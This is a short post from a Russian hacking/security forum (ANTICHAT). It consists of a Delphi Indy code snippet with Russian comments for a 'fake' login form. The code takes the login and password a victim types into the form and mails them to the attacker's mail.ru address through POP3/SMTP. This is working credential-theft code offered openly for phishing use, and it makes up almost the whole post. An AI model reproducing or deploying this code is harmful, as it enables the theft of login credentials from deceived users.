ANTICHAT — форум по информационной безопасности, OSINT и технологиям

idmessage1.Recipients.emailaddresses:='login@mail. ru'; //Куда придут пароль и логин с фейка
idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться
idmessage1.body.text:='Логин:'+edit1.text+' Пароль:'+edit2.text; //Тело письма
idmessage1.subject:='Фейк'; // Тема письма
idmessage1.ContentType:='text/plain'; //Тип письма- можно неуказывать, но мы в целях безопасности укажим )
idPOP31.username:='login'; //Логин
idPOP31.Password:='xxxxx'; //Пароль
idPOP31.Host:='pop3.mail.ru'; //pop3 на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет другой
idPOP31.Port:=110; //Порт POP3
idPOP31.Connect(60000); //Конектимся с таймаутом 60 сек
idSmtp1.username:='login'; //Логин где mail.ru название домена
idSmtp1.Password:='xxxxxxx'; //Пароль
idsmtp1.Host:='smtp.mail.ru'; //smtp на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет друго
idsmtp1.Port:=25; //Порт smtp
idsmtp1.Connect(60000); //Коннектимся с таймаутом 60 сек
idSmtp1.Send(IdMessage1); //Отправка письма с логином и паролем
idSmtp1.Disconnect; //Отключаемся
idPOP31.Disconnect; //Отключаемся